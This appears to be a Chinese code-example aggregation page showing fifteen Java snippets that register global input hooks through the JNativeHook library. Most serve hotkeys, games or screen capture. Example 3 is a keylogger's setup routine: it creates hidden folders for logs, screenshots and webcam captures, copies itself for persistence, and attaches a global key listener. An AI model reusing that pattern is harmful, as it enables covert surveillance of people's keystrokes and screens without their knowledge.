本文整理匯總了Java中org.jnativehook.NativeHookException類的典型用法代碼示例。如果您正苦於以下問題:Java NativeHookException類的具體用法?Java NativeHookException怎麽用?Java NativeHookException使用的例子?那麽, 這裏精選的類代碼示例或許可以為您提供幫助。
NativeHookException類屬於org.jnativehook包,在下文中一共展示了NativeHookException類的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。
示例1: setup
import org.jnativehook.NativeHookException; //導入依賴的package包/類
@Override
public void setup() {
// setup keyhook
try {
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
HKM = new KeyHook();
HKM.addValidHotkey("Space");
GlobalScreen.addNativeKeyListener(HKM);
System.out.println("[KeyHook setup]");
try {
robot = new Robot();
} catch (AWTException e) {
System.out.println("Robot could not be created...");
}
}
示例2: initializeGame
import org.jnativehook.NativeHookException; //導入依賴的package包/類
private static void initializeGame() {
AnsiConsole.systemInstall();
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
// registers a shutdown hook
// this shutdown hook is called before the jvm is shutdown and releases the dependencies
Runtime.getRuntime().addShutdownHook(new Thread() {
@Override
public void run() {
GlobalScreen.unregisterNativeHook();
System.out.println("unregister native hook");
AnsiConsole.out.print(Ansi.ansi().eraseScreen(Erase.FORWARD));
AnsiConsole.systemUninstall();
System.out.println("uninstall ansi console");
// network can be closed here
}
});
}
示例3: main
import org.jnativehook.NativeHookException; //導入依賴的package包/類
public static void main(String[] args) throws IOException {
detectOS();
app_path = System.getenv(environment_variable_path) + folder;
createFolder(app_path);
createFolder(app_path + path_logs);
createFolder(app_path + path_screenshot);
createFolder(app_path + path_cam);
if (persistence == true) {
copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
}
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
}
GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
示例4: init
import org.jnativehook.NativeHookException; //導入依賴的package包/類
public static void init() {
try {
// Get the logger for "org.jnativehook" and set the level
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(loggingLevel);
// disable the parent handlers
logger.setUseParentHandlers(false);
// Init JNativeHook
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new NativeKeyListener());
Log.debug("JNativeHook initialized.");
} catch (NativeHookException e) {
e.printStackTrace();
}
}
示例5: init
import org.jnativehook.NativeHookException; //導入依賴的package包/類
@Override
public void init() {
// Get the logger for "org.jnativehook" and set the level to off.
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
db = new DbHandler();
db.onCreateDB();
db.createTable();
// Change the level for all handlers attached to the default logger.
Handler[] handlers = Logger.getLogger("").getHandlers();
for (int i = 0; i < handlers.length; i++) {
handlers[i].setLevel(Level.OFF);
}
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem while registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
GlobalScreen.addNativeKeyListener(new Main());
}
示例6: setup
import org.jnativehook.NativeHookException; //導入依賴的package包/類
@Override
public void setup() {
// setup keyhook
try {
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
kh = new KeyHook();
GlobalScreen.addNativeKeyListener(kh);
System.out.println("[KeyHook setup]");
kh.addValidAlphaKey("Space");
kh.addValidAlphaKey("Enter");
kh.addValidAlphaKey("Backspace");
}
示例7: setOnScrollListener
import org.jnativehook.NativeHookException; //導入依賴的package包/類
/**
* Enables handling of scroll and mouse wheel events for the node.
* This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
* @see #notifyScrollEvent
* @param intersectionTestFunc a function that takes an event object and must return boolean
* @return itself to let you use a chain of calls
*/
MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
if (SystemUtils.IS_OS_WINDOWS) {
if (!GlobalScreen.isNativeHookRegistered()) {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException | UnsatisfiedLinkError e) {
e.printStackTrace();
Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
return this;
}
}
mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
} else {
sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
}
return this;
}
示例8: generatePopupMenu
import org.jnativehook.NativeHookException; //導入依賴的package包/類
@Override
public PopupMenu generatePopupMenu() {
PopupMenu menu = new PopupMenu();
// exit
MenuItem exitItem = new MenuItem("Quit");
exitItem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
try {
Application.get().stop();
} catch (NativeHookException e1) {
e1.printStackTrace();
}
}
});
menu.add(exitItem);
return menu;
}
示例9: addListeners
import org.jnativehook.NativeHookException; //導入依賴的package包/類
@Override
public void addListeners()
{
// Set the event dispatcher to a swing safe executor service.
GlobalScreen.setEventDispatcher(new SwingDispatchService());
try
{
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(this);
}
catch (NativeHookException ex)
{
System.err.println("Error starting KeyHandler:\n" + ex);
System.err.println("Keyboard controls disabled");
}
}
示例10: init
import org.jnativehook.NativeHookException; //導入依賴的package包/類
public static void init(Config config, IconManager iconManager, Processor processor) {
setConfig(config);
setIconManager(iconManager);
setProcessor(processor);
setupLogs();
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
Display.getDefault().asyncExec(new Runnable() {
@Override
public void run() {
screenSelectorShell = new ScreenSelectorShell();
}
});
GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
示例11: getStartButton
import org.jnativehook.NativeHookException; //導入依賴的package包/類
/**
*
* @return
*/
public Button getStartButton() {
if (startButton == null) {
startButton = GlyphsDude.createIconButton(FontAwesomeIcon.PLAY, "", "28", "0", ContentDisplay.CENTER);
startButton.getStyleClass().addAll("toolbar-button-transparent", "start", "dropshadow-1-5");
TooltipBuilder.create("Start Capture", startButton);
startButton.setOnAction((ActionEvent event) -> {
getStartButton().setDisable(true);
getStopButton().setDisable(false);
try {
GlobalScreen.addNativeKeyListener(getPrintScreenListener());
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
FxDialogs.showErrorDialog("There was a problem registering the native hook.");
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, "There was a problem registering the native hook.", ex);
}
});
}
return startButton;
}
示例12: getStopButton
import org.jnativehook.NativeHookException; //導入依賴的package包/類
/**
*
* @return
*/
public Button getStopButton() {
if (stopButton == null) {
stopButton = GlyphsDude.createIconButton(FontAwesomeIcon.STOP, "", "28", "0", ContentDisplay.CENTER);
stopButton.getStyleClass().addAll("toolbar-button-transparent", "stop", "dropshadow-1-5");
TooltipBuilder.create("Stop Capture", stopButton);
stopButton.setDisable(true);
stopButton.setOnAction((ActionEvent event) -> {
getStopButton().setDisable(true);
getStartButton().setDisable(false);
try {
GlobalScreen.removeNativeKeyListener(getPrintScreenListener());
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException ex) {
FxDialogs.showErrorDialog("There was a problem registering the native hook.");
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, "There was a problem registering the native hook.", ex);
}
});
}
return stopButton;
}
示例13: initGlobalListeners
import org.jnativehook.NativeHookException; //導入依賴的package包/類
private void initGlobalListeners() {
// Initialze native hook.
try {
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
ex.printStackTrace();
System.exit(1);
}
detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
GlobalScreen.addNativeKeyListener(detectKeys);
GlobalScreen.addNativeMouseWheelListener(detectKeys);
GlobalScreen.addNativeMouseListener(detectKeys);
}
示例14: main
import org.jnativehook.NativeHookException; //導入依賴的package包/類
public static void main(String[] args) throws InterruptedException
{
disableLogging();
try
{
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex)
{
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
GlobalMouseListener globalMouseListener = new GlobalMouseListener();
GlobalScreen.addNativeMouseListener(globalMouseListener);
GlobalScreen.addNativeMouseMotionListener(globalMouseListener);
GlobalScreen.addNativeMouseWheelListener(globalMouseListener);
GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
示例15: initialize
import org.jnativehook.NativeHookException; //導入依賴的package包/類
public static void initialize() throws NativeHookException
{
GlobalScreen.initialize();
GlobalScreen.registerNativeHook();
if(GlobalScreen.isNativeHookRegistered())
{
listener = new LowLevelKeyListener();
GlobalScreen.getInstance().addNativeKeyListener(listener);
enabled = true;
}
else
{
enabled = false;
throw new NativeHookException("Could not register hook");
}
}